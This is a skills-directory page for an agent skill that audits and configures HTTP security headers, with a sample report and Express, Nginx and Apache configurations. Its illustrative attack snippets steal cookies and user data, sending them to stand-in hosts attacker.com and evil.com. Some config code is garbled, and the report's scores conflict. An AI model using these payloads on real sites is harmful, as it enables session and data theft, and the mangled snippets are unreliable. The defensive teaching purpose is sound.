curiouslearner/devkit

security-headers

Validate and implement HTTP security headers to protect web applications.

First seen Jan 21, 2026

Installation

$ npx skills add curiouslearner/devkit --skill security-headers

Similar popular skills

Related neighbors and high-traction skills in the same topics — useful to compare before installing.

Also in this package

Other skills from curiouslearner/devkit · top by installs.

npx skills add curiouslearner/devkit

Browse all from curiouslearner/devkit

More details

Agent compatibility

Declared targets from SKILL.md / docs. Unmarked agents are not listed — the skill may still install via the CLI.

Claude Code Not declared
Cursor Not declared
Codex Not declared
GitHub Copilot Not declared
Windsurf Not declared
Gemini CLI Not declared
Cline Not declared
OpenCode Not declared

Repository health

Stars 27
License LICENSE
Default branch main
Open issues 0
Status Active

Package contents

Files included with this skill beyond the listing page.

  • skill md SKILL.md 25,744 B
  • docs SUMMARY.md 97 B

History

  1. First seen on skills.sh
  2. First recorded snapshot · 26 installs

SKILL.md

Security Headers Skill

Validate and implement HTTP security headers to protect web applications.

Instructions

You are a web security headers expert. When invoked:

  1. Analyze Security Headers:

- Scan HTTP response headers - Identify missing security headers - Check header configurations - Detect misconfigurations - Validate CSP policies - Review CORS settings

  1. Security Assessment:

- Rate header security posture - Identify vulnerabilities - Check compliance with best practices - Test for bypass techniques - Validate header syntax

  1. Attack Prevention:

- XSS (Cross-Site Scripting) - Clickjacking - MIME-sniffing attacks - Man-in-the-Middle attacks - Information disclosure - Cache poisoning - Protocol downgrade attacks

  1. Compliance Checking:

- OWASP recommendations - Security standards (PCI-DSS, HIPAA) - Browser compatibility - Performance impact assessment

  1. Generate Report: Provide comprehensive header analysis with implementation guidance

Critical Security Headers

Content Security Policy (CSP)

Purpose: Prevent XSS attacks by controlling resource loading

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

Directives:

  • default-src: Fallback for other directives
  • script-src: JavaScript sources
  • style-src: CSS sources
  • img-src: Image sources
  • font-src: Font sources
  • connect-src: AJAX, WebSocket, EventSource
  • frame-src: Iframe sources
  • frame-ancestors: Pages that can embed this page
  • base-uri: Base tag URLs
  • form-action: Form submission targets

Strict-Transport-Security (HSTS)

Purpose: Force HTTPS connections

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Parameters:

  • max-age: Duration in seconds (recommended: 31536000 = 1 year)
  • includeSubDomains: Apply to all subdomains
  • preload: Include in browser preload lists

X-Frame-Options

Purpose: Prevent clickjacking attacks

X-Frame-Options: DENY

Values:

  • DENY: Cannot be framed at all
  • SAMEORIGIN: Can only be framed by same origin
  • ALLOW-FROM uri: Deprecated, use CSP instead

X-Content-Type-Options

Purpose: Prevent MIME-sniffing attacks

X-Content-Type-Options: nosniff

X-XSS-Protection

Purpose: Enable browser XSS filter (legacy, CSP is preferred)

X-XSS-Protection: 1; mode=block

Note: Deprecated in favor of Content-Security-Policy

Referrer-Policy

Purpose: Control referrer information

Referrer-Policy: strict-origin-when-cross-origin

Values:

  • no-referrer: Never send referrer
  • no-referrer-when-downgrade: Default behavior
  • origin: Send only origin
  • origin-when-cross-origin: Full URL for same-origin
  • same-origin: Only for same-origin requests
  • strict-origin: Origin only, not on HTTPS→HTTP
  • strict-origin-when-cross-origin: Recommended
  • unsafe-url: Always send full URL (not recommended)

Permissions-Policy

Purpose: Control browser features and APIs

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()

Cross-Origin Headers

CORP (Cross-Origin-Resource-Policy)

Cross-Origin-Resource-Policy: same-origin

COEP (Cross-Origin-Embedder-Policy)

Cross-Origin-Embedder-Policy: require-corp

COOP (Cross-Origin-Opener-Policy)

Cross-Origin-Opener-Policy: same-origin

Usage Examples

@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000

Header Scanning Commands

Using curl

# Check all headers
curl -I https://example.com

# Check specific header
curl -I https://example.com | grep -i "content-security-policy"

# Follow redirects
curl -IL https://example.com

# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^< "

Using online tools

# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"

# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"

Using custom scripts

# Node.js header checker
node check-headers.js https://example.com

# Python header scanner
python3 scan_headers.py https://example.com

Security Headers Report Format

# Security Headers Analysis Report

**Website**: https://example.com
**Scan Date**: 2024-01-15 14:30:00 UTC
**Scanner**: Security Headers Analyzer v2.0

---

## Overall Security Score

**Grade**: C
**Score**: 62/100

🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2

**Status**: ⚠️  NEEDS IMPROVEMENT

---

## Executive Summary

Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:

1. Missing Content-Security-Policy (enables XSS attacks)
2. Missing Strict-Transport-Security (vulnerable to MITM)
3. Permissive CORS configuration

**Immediate Actions Required**: Implement CSP and HSTS headers

---

## Header Analysis

### ✅ Headers Present (3)

#### X-Content-Type-Options: nosniff
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents MIME-sniffing attacks

X-Content-Type-Options: nosniff


**Impact**: Prevents browsers from interpreting files as different MIME types
**Recommendation**: Keep this header

---

#### X-Frame-Options: DENY
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents clickjacking attacks

X-Frame-Options: DENY


**Impact**: Prevents page from being embedded in frames
**Recommendation**: Keep this header
**Note**: Consider migrating to CSP frame-ancestors directive

---

#### Referrer-Policy: strict-origin-when-cross-origin
**Status**: ✅ Good configuration
**Grade**: A
**Purpose**: Controls referrer information leakage

Referrer-Policy: strict-origin-when-cross-origin


**Impact**: Balances privacy and functionality
**Recommendation**: Optimal setting for most applications

---

### ❌ Missing Headers (5)

#### Content-Security-Policy
**Status**: 🔴 MISSING - CRITICAL
**Grade**: F
**Risk**: High - XSS attacks possible

**Current**: Not set
**Impact**:
- No protection against XSS attacks
- JavaScript can be injected from any source
- Inline scripts execute without restriction
- Third-party resources load without control

**Vulnerability Example**:

<!-- Attacker can inject: --> <script> // Steal cookies fetch('https://attacker.com/steal?cookie='; + document.cookie);

// Hijack session window.location = 'https://attacker.com/phishing';; </script>


**Recommended Configuration**:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests


**Implementation**:

**Express.js**:

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'nonce-{random}'"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "https:", "data:"], fontSrc: ["'self'"], connectSrc: ["'self'", "https://api.example.com";], frameAncestors: ["'none'"], baseUri: ["'self'"], formAction: ["'self'"], upgradeInsecureRequests: [] } }));


**Nginx**:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;


**Apache**:

Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"


**Testing**:

// Use CSP in report-only mode first Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

// Backend endpoint to collect violations app.post('/csp-report', (req, res) => { console.log('CSP Violation:', req.body); res.status(204).end(); });


**Priority**: P0 - Implement immediately

---

#### Strict-Transport-Security
**Status**: 🔴 MISSING - CRITICAL
**Grade**: F
**Risk**: High - MITM attacks possible

**Current**: Not set
**Impact**:
- No forced HTTPS
- Vulnerable to SSL stripping attacks
- Man-in-the-Middle attacks possible
- Session hijacking risk

**Vulnerability Example**:

User types: http://example.com → Attacker intercepts unencrypted initial request → Serves malicious page or steals credentials → Even if site redirects to HTTPS, initial request is vulnerable


**Recommended Configuration**:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload


**Implementation**:

**Express.js**:

app.use(helmet.hsts({ maxAge: 31536000, includeSubDomains: true, preload: true }));


**Nginx**:

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;


**Apache**:

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"


**Prerequisites**:
1. ✅ HTTPS fully working on all subdomains
2. ✅ Valid SSL certificate
3. ✅ No HTTP-only subdomains you want to keep

**HSTS Preload Submission**:
  1. Visit: https://hstspreload.org/
  2. Ensure max-age >= 31536000 (1 year)
  3. Include includeSubDomains directive
  4. Include preload directive
  5. Submit domain for preload list

**Warning**:
- Start with short max-age (e.g., 300) for testing
- Increase gradually: 300 → 86400 → 2592000 → 31536000
- Preloading is difficult to undo

**Priority**: P0 - Implement immediately

---

#### Permissions-Policy
**Status**: 🟠 MISSING - HIGH
**Grade**: D
**Risk**: Medium - Unnecessary API access

**Current**: Not set
**Impact**:
- No control over browser features
- Third-party scripts can access camera, microphone, location
- Potential privacy violations
- Unexpected resource usage

**Recommended Configuration**:

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()


**Implementation**:

**Express.js**:

app.use((req, res, next) => { res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()' ); next(); });


**Nginx**:

add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;


**Custom Permissions** (if you need specific features):

Allow geolocation for your domain only

Permissions-Policy: geolocation=(self), microphone=(), camera=()

Allow camera for specific domain

Permissions-Policy: camera=(self "https://trusted-video.com";), microphone=()


**Priority**: P1 - Implement within 7 days

---

#### Cross-Origin-Resource-Policy
**Status**: 🟡 MISSING - MEDIUM
**Grade**: C

**Recommended Configuration**:

Cross-Origin-Resource-Policy: same-origin


**Implementation**:

app.use((req, res, next) => { res.setHeader('Cross-Origin-Resource-Policy', 'same-origin'); next(); });


**Values**:
- `same-origin`: Only same-origin requests (recommended)
- `same-site`: Same-site requests allowed
- `cross-origin`: All origins allowed

**Priority**: P2 - Implement within 30 days

---

#### Cross-Origin-Embedder-Policy
**Status**: 🟡 MISSING - MEDIUM
**Grade**: C

**Recommended Configuration**:

Cross-Origin-Embedder-Policy: require-corp


**Priority**: P2 - Implement within 30 days

---

### ⚠️  Misconfigured Headers (2)

#### Access-Control-Allow-Origin: *
**Status**: 🔴 CRITICAL MISCONFIGURATION
**Grade**: F
**Risk**: High - Open CORS policy

**Current Configuration**:

Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true


**Issue**:
This configuration is **dangerous** and **invalid**. Wildcard (*) cannot be used with credentials.

**Vulnerability**:

// Any malicious site can make authenticated requests: fetch('https://example.com/api/user/data';, { credentials: 'include' // Sends cookies }) .then(res => res.json()) .then(data => { // Attacker steals user data fetch('https://attacker.com/steal';, { method: 'POST', body: JSON.stringify(data) }); });


**Correct Configuration**:

// Express.js - Dynamic CORS const allowedOrigins = [ 'https://app.example.com';, 'https://admin.example.com'; ];

app.use((req, res, next) => { const origin = req.headers.origin; if (allowedOrigins.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true'); } next(); });


**Using CORS middleware**:

const cors = require('cors');

app.use(cors({ origin: function(origin, callback) { if (!origin || allowedOrigins.includes(origin)) { callback(null, true); } else { callback(new Error('Not allowed by CORS')); } }, credentials: true, methods: ['GET', 'POST', 'PUT', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization'], exposedHeaders: ['X-Total-Count'], maxAge: 600 }));


**Nginx**:

set $corsorigin ""; if ($httporigin ~ "^https://(app|admin)\.example\.com$";) { set $corsorigin $httporigin; }

addheader Access-Control-Allow-Origin $corsorigin always; addheader Access-Control-Allow-Credentials true always; addheader Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always; add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;


**Priority**: P0 - Fix immediately

---

#### X-XSS-Protection: 1; mode=block
**Status**: ⚠️  DEPRECATED
**Grade**: C

**Current Configuration**:

X-XSS-Protection: 1; mode=block


**Issue**: This header is deprecated and can create security vulnerabilities in some browsers.

**Recommendation**: Remove this header and rely on Content-Security-Policy instead.

**Migration**:

// Remove X-XSS-Protection // Instead, implement strong CSP app.use(helmet({ xssFilter: false, // Disable deprecated header contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"] } } }));


**Priority**: P2 - Update configuration

---

## Security Grade Breakdown

| Category | Score | Grade |
|----------|-------|-------|
| XSS Protection | 20/30 | D |
| Clickjacking Protection | 10/10 | A+ |
| HTTPS Enforcement | 0/20 | F |
| Information Disclosure | 15/15 | A |
| CORS Configuration | 0/15 | F |
| Browser Features | 0/10 | F |
| **Overall** | **45/100** | **F** |

---

## Attack Vectors Still Possible

### 1. Cross-Site Scripting (XSS)
**Risk**: CRITICAL
**Reason**: No Content-Security-Policy

**Example Attack**:

<!-- Stored XSS --> <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">;

<!-- Reflected XSS --> https://example.com/search?q=<script>alert(document.cookie)</script>;


**Mitigation**: Implement strict CSP

---

### 2. Man-in-the-Middle (MITM)
**Risk**: CRITICAL
**Reason**: No HSTS header

**Example Attack**:
  1. User connects to http://example.com (unencrypted)
  2. Attacker intercepts and serves fake login page
  3. User enters credentials
  4. Attacker captures credentials

**Mitigation**: Implement HSTS with preload

---

### 3. Cross-Origin Data Theft
**Risk**: HIGH
**Reason**: Permissive CORS configuration

**Example Attack**:

// From attacker.com: fetch('https://example.com/api/sensitive-data';, { credentials: 'include' }) .then(r => r.json()) .then(data => { // Exfiltrate data navigator.sendBeacon('https://attacker.com/log';, JSON.stringify(data)); });


**Mitigation**: Restrict CORS to trusted origins only

---

## Remediation Plan

### Phase 1: Critical (Immediate - 24 hours)

#### 1. Fix CORS Misconfiguration

// Remove wildcard CORS

  • Access-Control-Allow-Origin: *

// Implement origin whitelist


**Testing**:

Test CORS from allowed origin

curl -H "Origin: https://app.example.com"; \ -I https://example.com/api/data

Test CORS from disallowed origin (should fail)

curl -H "Origin: https://evil.com"; \ -I https://example.com/api/data


**Risk**: Medium (may break integrations)
**Estimated Time**: 2 hours

---

#### 2. Implement HSTS

add_header Strict-Transport-Security "max-age=300" always;


**Testing Period**: 5 minutes (max-age=300)
**Full Implementation**: Increase to 31536000 after testing

**Testing**:

Verify HSTS header

curl -I https://example.com | grep -i strict-transport-security

Test forced HTTPS

curl -IL http://example.com

Should redirect to https://


**Risk**: Low
**Estimated Time**: 1 hour

---

### Phase 2: High Priority (Within 7 days)

#### 3. Implement Content-Security-Policy

**Week 1: Report-Only Mode**

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report


**Monitor violations for 7 days**

**Week 2: Enforce Mode**

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...


**Testing**:

Check CSP header

curl -I https://example.com | grep -i content-security-policy

Verify CSP effectiveness

Open DevTools Console, check for CSP violations


**Risk**: High (may break functionality)
**Estimated Time**: 3-5 days (including testing)

---

#### 4. Add Permissions-Policy

Permissions-Policy: geolocation=(), microphone=(), camera=()


**Risk**: Low
**Estimated Time**: 1 hour

---

### Phase 3: Medium Priority (Within 30 days)

#### 5. Implement Cross-Origin Headers

Cross-Origin-Resource-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin


**Risk**: Medium
**Estimated Time**: 2-3 days

---

#### 6. Remove Deprecated Headers

// Remove X-XSS-Protection

  • X-XSS-Protection: 1; mode=block

**Risk**: Low
**Estimated Time**: 30 minutes

---

## Implementation Code

### Complete Express.js Configuration

const express = require('express'); const helmet = require('helmet'); const app = express();

// Generate nonce for CSP app.use((req, res, next) => { res.locals.nonce = require('crypto').randomBytes(16).toString('base64'); next(); });

// Security headers app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", (req, res) => 'nonce-${res.locals.nonce}'], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "https:", "data:"], fontSrc: ["'self'"], connectSrc: ["'self'", "https://api.example.com";], frameAncestors: ["'none'"], baseUri: ["'self'"], formAction: ["'self'"], upgradeInsecureRequests: [] } }, hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }, frameguard: { action: 'deny' }, noSniff: true, xssFilter: false, // Deprecated, use CSP referrerPolicy: { policy: 'strict-origin-when-cross-origin' }, crossOriginEmbedderPolicy: true, crossOriginOpenerPolicy: { policy: 'same-origin' }, crossOriginResourcePolicy: { policy: 'same-origin' } }));

// Permissions Policy app.use((req, res, next) => { res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=(), payment=(), usb=()' ); next(); });

// CORS configuration const allowedOrigins = ['https://app.example.com';, 'https://admin.example.com';]; app.use((req, res, next) => { const origin = req.headers.origin; if (allowedOrigins.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true'); res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization'); } next(); });

// CSP violation reporting app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => { console.log('CSP Violation:', req.body); res.status(204).end(); });

app.listen(3000);


### Complete Nginx Configuration

server { listen 443 ssl http2; server_name example.com;

# SSL configuration sslcertificate /path/to/cert.pem; sslcertificatekey /path/to/key.pem; sslprotocols TLSv1.2 TLSv1.3; ssl_ciphers HIGH:!aNULL:!MD5;

# Security Headers addheader Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; addheader Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always; addheader X-Frame-Options "DENY" always; addheader X-Content-Type-Options "nosniff" always; addheader Referrer-Policy "strict-origin-when-cross-origin" always; addheader Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always; addheader Cross-Origin-Resource-Policy "same-origin" always; addheader Cross-Origin-Embedder-Policy "require-corp" always; add_header Cross-Origin-Opener-Policy "same-origin" always;

# CORS set $corsorigin ""; if ($httporigin ~ "^https://(app|admin)\.example\.com$";) { set $corsorigin $httporigin; } addheader Access-Control-Allow-Origin $corsorigin always; add_header Access-Control-Allow-Credentials true always;

location / { proxy_pass http://localhost:3000; } }

HTTP to HTTPS redirect

server { listen 80; servername example.com; return 301 https://$servername$request_uri; }


---

## Testing Checklist

### Automated Testing
- [ ] Run header scanner tool
- [ ] Check Mozilla Observatory score
- [ ] Verify SecurityHeaders.com grade
- [ ] Test with browser DevTools
- [ ] Automated tests in CI/CD

### Manual Testing
- [ ] Verify HTTPS redirect
- [ ] Test CSP violations in console
- [ ] Check frame embedding
- [ ] Test CORS from allowed/disallowed origins
- [ ] Verify API access restrictions

### Browser Compatibility
- [ ] Chrome/Edge (latest)
- [ ] Firefox (latest)
- [ ] Safari (latest)
- [ ] Mobile browsers

---

## Monitoring and Maintenance

### CSP Violation Monitoring

// Log violations app.post('/csp-report', (req, res) => { const violation = req.body['csp-report']; logger.warn('CSP Violation', { blockedURI: violation['blocked-uri'], violatedDirective: violation['violated-directive'], documentURI: violation['document-uri'] }); res.status(204).end(); });

// Alert on critical violations if (violation['violated-directive'].includes('script-src')) { alertSecurityTeam(violation); }


### Regular Audits
- Weekly: Automated header scanning
- Monthly: Manual security review
- Quarterly: Full security assessment
- After changes: Regression testing

---

## Best Practices

### Header Implementation
- ✅ Use security header middleware (helmet, etc.)
- ✅ Apply headers at infrastructure level (CDN, load balancer)
- ✅ Test in staging before production
- ✅ Start with report-only mode for CSP
- ✅ Monitor violations and adjust policies
- ✅ Document header configurations

### CSP Best Practices
- ✅ Start strict, loosen as needed
- ✅ Use nonces or hashes for inline scripts
- ✅ Avoid 'unsafe-inline' and 'unsafe-eval'
- ✅ Use report-uri or report-to
- ✅ Regularly review and update policies

### HSTS Best Practices
- ✅ Start with short max-age for testing
- ✅ Ensure HTTPS works on all subdomains before includeSubDomains
- ✅ Submit to HSTS preload list
- ✅ Plan for long-term HTTPS support

---

## Summary

**Current Grade**: F (45/100)
**Target Grade**: A+ (95+/100)
**Estimated Effort**: 2-3 weeks
**Priority**: HIGH - Critical vulnerabilities present

**Immediate Actions**:
1. Fix CORS misconfiguration (today)
2. Implement HSTS (today)
3. Deploy CSP in report-only mode (this week)
4. Enforce CSP (next week)

**Expected Grade After Fixes**: A (90+/100)

Notes

  • Test headers in staging first
  • Use report-only mode for CSP initially
  • Monitor CSP violations before enforcing
  • Balance security with functionality
  • Keep headers updated with best practices
  • Regular security audits recommended
  • Document all header configurations
  • Train team on header security
  • Use automated tools for continuous monitoring
  • Review headers after major changes